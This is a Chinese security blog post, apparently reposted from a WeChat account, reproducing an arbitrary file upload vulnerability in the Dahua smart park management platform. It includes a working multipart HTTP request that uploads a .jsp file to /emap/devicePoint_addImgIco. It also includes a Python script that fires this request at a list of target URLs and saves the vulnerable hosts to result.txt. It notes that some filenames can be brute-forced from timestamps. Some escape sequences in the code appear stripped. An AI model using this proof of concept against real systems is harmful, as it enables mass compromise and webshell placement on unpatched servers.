前言
本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任,本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点。
漏洞描述
某华智慧园区综合管理平台存在漏洞,攻击者可以通过接口任意上传文件,导致系统被攻击与控制。
漏洞复现
第一个点
上传压缩包功能处,存在任意文件上传
文件保存路径为/facePic/yyyy-MM-dd/,例如:/facePic/2023-07-09/,文件名命名规则为时间戳+3位随机数+后缀,例如:20220509071212907,并且在解压文件前就执行了文件写入操作。
所以我们可以直接传一个jsp文件
文件名可以通过爆破上传附近时间点的时间戳+100-999的3位随机数来获取。
第二个点
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 243
Connection: close
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
上传路径:
http://ip:8314/upload/emap/society_new/ico…随机字符串_on.jsp
注:301重定向改变了端口
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
with open('{}'.format(file),'r',encoding='utf-8') as f:
for i in f:
i = i.replace('n', '')
send_req("http://"+i)
def write_result(content):
f = open("result.txt", "a", encoding="UTF-8")
f.write('{}n'.format(content))
f.close()
def send_req(url_check):
print('{} runing Check'.format(url_check))
url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true'
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',
'Content-Type':'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT',
'Accept':'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2',
'Connection':'close'
}
data = (
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTrn"
'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"rn'
"Content-Type: application/octet-streamrn"
"Content-Transfer-Encoding: binaryrn"
"rn"
"123rn"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
)
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3).json()
if response['code'] == 1:
result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} n'.format(url_check,
url_check + "/upload/emap/society_new/" + response['data'])
print(result)
write_result(result)
time.sleep(1)
except Exception as e:
print(e)
pass
if __name__ == '__main__':
if file is None:
print('请在当前目录下新建需要检测的url.txt')
else:
get_url(file)
工具
使用方法:
-
把需要检测的url放入txt文档中
-
执行 python 脚本 -f url.txt
-
检测出有任意文件上传漏洞的资产会保存在同目录result.txt文件中
原文始发于微信公众号(Max安全研究院):某华智慧园区-任意文件上传PoC